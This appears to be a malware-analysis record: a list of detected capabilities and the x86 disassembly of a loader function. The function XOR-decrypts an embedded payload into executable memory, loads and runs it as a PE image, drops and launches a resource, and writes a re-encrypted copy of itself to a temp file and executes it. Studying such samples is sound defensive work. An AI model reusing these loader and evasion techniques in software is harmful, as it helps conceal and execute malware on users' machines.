Function at 0x4020b0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Delete file
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get common file path
Get file size
Read file on windows
Set environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x774
mov eax, dword [0x481200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x482124]
push ebx
push esi
push edi
mov ecx, 0x482124
call dword [eax + 0xc]
add eax, 0x10
push str.C091A8C8
lea ecx, [ebp - 0x708]
mov dword [ebp - 0x708], eax
call fcn.004019d0
or ebx, 0xffffffff
test eax, eax
je 0x40279b
mov esi, dword [ebp - 0x708]
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402102
sub ecx, edx
sar ecx, 1
je 0x40279b
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x402270
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x6e4], eax
test eax, eax
je 0x402270
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402270
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40226d
mov edi, ebx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402172
sub edi, ecx
mov ecx, ebx
sar edi, 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402186
sub ecx, edx
sar ecx, 1
push 0x206
lea eax, [ecx + ecx]
mov ecx, 0xfffffffe
sub ecx, eax
add dword [ebp - 0x6e4], ecx
xor eax, eax
push eax
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push eax
call fcn.00403a40
push esi
lea eax, [ebp - 0x24c]
push 0x104
push eax
call fcn.00403c3a
add esp, 0x18
test eax, eax
jne 0x40226d
push ebx
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
test eax, eax
je 0x40226d
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x40226d
cmp esi, 0xffffffff
je 0x40226d
push 0
lea eax, [ebp - 0x6f4]
push eax
push dword [ebp - 0x6e4]
lea eax, [ebx + 2]
mov dword [ebp - 0x6f4], 0
lea eax, [eax + edi*2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x6e4]
cmp eax, dword [ebp - 0x6f4]
jne 0x40226d
push 3
push 0
push 0
lea eax, [ebp - 0x24c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or ebx, 0xffffffff
push 0
call fcn.00403df2
push eax
call fcn.00403cd8
add esp, 8
call fcn.00403cb5
mov esi, eax
mov edi, 0x4c4b40
lea esp, [esp]
call fcn.00403cb5
imul esi, eax
dec edi
jne 0x402290
push esi
push 0x40d204
call fcn.00403ddc
mov eax, dword [0x482124]
add esp, 8
mov ecx, 0x482124
call dword [eax + 0xc]
add eax, 0x10
push str.DB99050C
lea ecx, [ebp - 0x6f8]
mov dword [ebp - 0x6f8], eax
call fcn.004019d0
mov edi, dword [ebp - 0x6f8]
test eax, eax
je 0x402410
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4022e2
sub ecx, edx
sar ecx, 1
cmp ecx, 0x80
jne 0x402410
push 0xfde9
lea eax, [ebp - 0x4d4]
push edi
lea ecx, [ebp - 0x4d8]
mov dword [ebp - 0x4d8], eax
call fcn.00401b30
mov eax, dword [0x482124]
mov ebx, dword [ebp - 0x4d8]
mov ecx, 0x482124
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x704], esi
mov dword [ebp - 0x6e4], esi
test ebx, ebx
je 0x40237b
test ebx, 0xffff0000
jne 0x402369
movzx ebx, bx
push 0
push ebx
call fcn.00401690
add esp, 8
test eax, eax
je 0x402396
push ebx
push eax
lea ecx, [ebp - 0x6e4]
call fcn.00401c10
jmp 0x40238a
mov ecx, ebx
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402370
sub ecx, edx
jmp 0x40237d
xor ecx, ecx
push ecx
push ebx
lea ecx, [ebp - 0x6e4]
call fcn.00401e30
mov esi, dword [ebp - 0x6e4]
mov dword [ebp - 0x704], esi
mov eax, dword [ebp - 0x4d8]
lea ecx, [ebp - 0x4d4]
cmp eax, ecx
je 0x4023af
push eax
call fcn.00403d26
add esp, 4
push 0x3f
lea eax, [ebp - 0x43]
push 0
push eax
mov byte [ebp - 0x44], 0
call fcn.00403a40
mov ecx, esi
add esp, 0xc
mov dword [ebp - 0x6e8], 0x40
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023d2
lea eax, [ebp - 0x6e8]
push eax
lea eax, [ebp - 0x44]
push eax
sub ecx, edx
push ecx
push esi
call fcn.00401700
add esp, 0x10
test eax, eax
jne 0x402432
add esi, 0xfffffff0
or ebx, 0xffffffff
mov ecx, ebx
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402410
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov ecx, ebx
lea eax, [edi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402bcd
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x402bcd
push 0xff
lea eax, [ebp - 0x5db]
push 0
push eax
mov byte [ebp - 0x5dc], 0
call fcn.00403a40
xor eax, eax
mov word [ebp - 0x4dc], ax
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5dc]
push eax
call fcn.004014a0
push 0x6d1da
push section..data
lea eax, [ebp - 0x5dc]
push section..data
push eax
call fcn.00401420
add esp, 0x28
mov dword [ebp - 0x710], 0x400000
push 0x40
push 0x3000
push 0x400000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x6e4], ebx
test ebx, ebx
je 0x4023f4
xor ecx, ecx
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add al, cl
xor byte [ecx + section..data], al
inc ecx
cmp ecx, 0x6d1da
jb 0x4024b5
push 0
lea eax, [ebp - 0x710]
push eax
push ebx
push 0x6d1da
push section..data
call section..text
add esp, 0x14
test eax, eax
jne 0x4023f4
mov ecx, dword [ebp - 0x6e4]
mov dword [ebp - 0x700], 1
mov edx, dword [ecx + 0x3c]
add edx, ecx
mov dword [ebp - 0x6f4], edx
mov ebx, dword [edx + 0x80]
lea eax, [edx + 0xf8]
mov dword [ebp - 0x714], eax
mov eax, 0xcccccccd
mul dword [edx + 0x84]
mov eax, edx
shr eax, 4
add ebx, 0xc
mov dword [ebp - 0x6ec], eax
mov dword [ebp - 0x6e8], 0
test eax, eax
jle 0x40263b
lea edx, [ebx + ecx]
mov dword [ebp - 0x70c], edx
mov edi, edi
mov eax, dword [edx]
test eax, eax
je 0x40262e
cmp dword [ebp - 0x700], 0
je 0x4023f4
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x6fc], eax
test eax, eax
je 0x4025f6
mov ecx, dword [ebp - 0x70c]
mov edx, dword [ebp - 0x6e4]
mov ebx, dword [ecx + 4]
mov ecx, dword [ecx - 0xc]
add ebx, edx
add ecx, edx
cmp dword [ebx], 0
mov dword [ebp - 0x6f0], ecx
je 0x402600
jmp 0x4025b0
mov eax, dword [ebx]
test eax, eax
jns 0x4025bd
and eax, 0x7fffffff
jmp 0x4025c2
add eax, 2
add eax, edx
push eax
push dword [ebp - 0x6fc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx], eax
test eax, eax
je 0x4025f6
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x6e4]
mov dword [ecx], eax
add ebx, 4
add ecx, 4
cmp dword [ebx], 0
mov dword [ebp - 0x6f0], ecx
jne 0x4025b0
jmp 0x402600
mov dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x6e8]
mov edx, dword [ebp - 0x70c]
mov ecx, dword [ebp - 0x6e4]
inc eax
add edx, 0x14
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x70c], edx
cmp eax, dword [ebp - 0x6ec]
jl 0x402560
cmp dword [ebp - 0x700], 0
je 0x4023f4
mov eax, dword [ebp - 0x6f4]
xor edx, edx
movzx ebx, word [eax + 6]
test ebx, ebx
jle 0x4023f4
xor eax, eax
jmp 0x402660
mov edi, dword [ebp - 0x714]
lea eax, [eax + eax*4]
cmp dword [edi + eax*8], 0x6c65722e
mov edi, dword [ebp - 0x6f8]
jne 0x40268e
mov esi, dword [ebp - 0x714]
cmp dword [esi + eax*8 + 4], 0x636f
mov esi, dword [ebp - 0x704]
je 0x40269b
inc edx
movzx eax, dx
cmp eax, ebx
jl 0x402660
jmp 0x4023f4
movzx eax, dx
mov edx, dword [ebp - 0x714]
lea eax, [eax + eax*4]
mov ebx, dword [edx + eax*8 + 0xc]
add ebx, ecx
je 0x4023f4
cmp dword [ebx], 0
je 0x402746
mov esi, dword [ebp - 0x6e4]
mov dword [ebp - 0x6ec], 0x3000
lea esp, [esp]
lea eax, [ebx + 4]
mov dword [ebp - 0x6f0], eax
mov eax, dword [eax]
sub eax, 8
shr eax, 1
xor edx, edx
mov dword [ebp - 0x6e8], eax
test eax, eax
jle 0x402727
mov edi, eax
mov edi, edi
movzx ecx, word [ebx + edx*2 + 8]
mov eax, ecx
and eax, 0xf000
cmp word [ebp - 0x6ec], ax
jne 0x402722
mov edi, dword [ebp - 0x6f4]
and ecx, 0xfff
add ecx, esi
add ecx, dword [ebx]
mov eax, esi
sub eax, dword [edi + 0x34]
mov edi, dword [ebp - 0x6e8]
add dword [ecx], eax
inc edx
cmp edx, edi
jl 0x4026f0
mov eax, dword [ebp - 0x6f0]
add ebx, dword [eax]
cmp dword [ebx], 0
jne 0x4026d0
mov esi, dword [ebp - 0x704]
mov edi, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x6e4]
mov edx, dword [ebp - 0x6f4]
mov eax, dword [edx + 0x78]
test eax, eax
je 0x4023f4
cmp dword [edx + 0x7c], 0
je 0x4023f4
cmp dword [eax + ecx + 0x14], 0
jbe 0x4023f4
mov ebx, dword [eax + ecx + 0x1c]
mov eax, dword [edx + 0x28]
add ebx, ecx
test eax, eax
je 0x402790
push 0
push 1
push ecx
add eax, ecx
call eax
test eax, eax
je 0x4023f4
mov ecx, dword [ebp - 0x6e4]
mov eax, dword [ebx]
add eax, ecx
call eax
jmp 0x4023f4
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x452]
push eax
call fcn.00403a40
add esp, 0xc
lea eax, [ebp - 0x454]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x454]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4027d6
sub ecx, edx
sar ecx, 1
je 0x402bcd
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x454]
push eax
push str.C091A8C8
call ebx
test eax, eax
je 0x402bcd
push 0
call fcn.00403df2
push eax
call fcn.00403cd8
push 0x3f
lea eax, [ebp - 0x43]
push 0
push eax
mov byte [ebp - 0x44], 0
call fcn.00403a40
add esp, 0x14
xor esi, esi
lea ebx, [ebx]
call fcn.00403cb5
mov byte [ebp + esi - 0x44], al
inc esi
cmp esi, 0x40
jb 0x402830
push 0x80
lea eax, [ebp - 0x4d7]
push 0
push eax
mov byte [ebp - 0x4d8], 0
call fcn.00403a40
add esp, 0xc
lea edx, [ebp - 0x4d8]
lea esi, [ebp - 0x44]
mov edi, 0x40
lea ebx, [ebx]
mov al, byte [esi]
movzx ecx, al
mov eax, ecx
shr eax, 4
and ecx, 0xf
movzx eax, byte [eax + str.0123456789ABCDEF_u]
mov byte [edx], al
movzx eax, byte [ecx + str.0123456789ABCDEF_u]
mov byte [edx + 1], al
lea esi, [esi + 1]
lea edx, [edx + 2]
dec edi
jne 0x402870
lea eax, [ebp - 0x6dc]
mov dword [ebp - 0x6e0], eax
push 0xfde9
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x6e0]
call fcn.00401a70
push dword [ebp - 0x6e0]
push str.DB99050C
call ebx
test eax, eax
mov eax, dword [ebp - 0x6e0]
lea ecx, [ebp - 0x6dc]
sete bl
cmp eax, ecx
je 0x4028e7
push eax
call fcn.00403d26
add esp, 4
test bl, bl
jne 0x402bcd
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push eax
call fcn.00403a40
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x24c]
push eax
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402bcd
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x402bcd
cmp esi, 0xffffffff
je 0x402bbd
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
je 0x402bbd
push eax
lea ecx, [ebp - 0x720]
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 0
mov dword [ebp - 0x718], 0
call fcn.00402030
mov edi, dword [ebp - 0x720]
mov ebx, dword [ebp - 0x71c]
push 0
lea eax, [ebp - 0x6e8]
push eax
sub ebx, edi
push ebx
push edi
push esi
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6fc], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402bb0
cmp ebx, dword [ebp - 0x6e8]
jne 0x402bb0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [eax + 0x3c]
mov ebx, section..data
lea esi, [eax + 0xf8]
sub ebx, eax
movzx eax, word [ecx + eax + 6]
add esi, ecx
xor edx, edx
mov dword [ebp - 0x710], esi
mov dword [ebp - 0x6ec], eax
test eax, eax
jle 0x402a4d
lea ecx, [esi + 0xc]
nop
mov esi, dword [ecx]
cmp esi, ebx
ja 0x402a45
mov eax, dword [ecx + 4]
add eax, esi
cmp ebx, eax
jb 0x402a63
mov eax, dword [ebp - 0x6ec]
inc edx
add ecx, 0x28
cmp edx, eax
jl 0x402a30
test edi, edi
je 0x402bcd
push edi
call fcn.00403ad0
add esp, 4
jmp 0x402bcd
mov ecx, dword [ebp - 0x710]
lea eax, [edx + edx*4]
lea eax, [ecx + eax*8]
test eax, eax
je 0x402a4d
mov esi, dword [eax + 0x14]
sub esi, dword [eax + 0xc]
push 0xff
lea eax, [ebp - 0x5db]
push 0
push eax
add esi, ebx
mov byte [ebp - 0x5dc], 0
call fcn.00403a40
xor eax, eax
mov word [ebp - 0x4dc], ax
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5dc]
push eax
call fcn.004014a0
lea eax, [edi + esi]
push 0x6d1da
push eax
push eax
lea eax, [ebp - 0x5dc]
push eax
call fcn.00401420
add esp, 0x28
lea eax, [ebp - 0x24c]
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x402bb0
cmp esi, 0xffffffff
je 0x402bb0
mov ebx, dword [ebp - 0x6fc]
push 0
lea eax, [ebp - 0x6f0]
push eax
push ebx
push edi
push esi
mov dword [ebp - 0x6f0], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402ba3
cmp ebx, dword [ebp - 0x6f0]
jne 0x402ba3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
lea eax, [ebp - 0x770]
push 0
push eax
call fcn.00403a40
add esp, 0xc
lea eax, [ebp - 0x730]
push eax
lea eax, [ebp - 0x774]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x24c]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x774], 0x44
mov dword [ebp - 0x730], 0
movq qword [ebp - 0x72c], xmm0
mov dword [ebp - 0x724], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ecx, [ebp - 0x720]
call fcn.00401660
jmp 0x402bcd
lea ecx, [ebp - 0x720]
call fcn.00401660
jmp 0x402bbd
test edi, edi
je 0x402bbd
push edi
call fcn.00403ad0
add esp, 4
test esi, esi
je 0x402bcd
cmp esi, 0xffffffff
je 0x402bcd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x708]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
pop edi
pop esi
pop ebx
test ecx, ecx
jg 0x402bf0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004033d4
mov esp, ebp
pop ebp
ret 0x10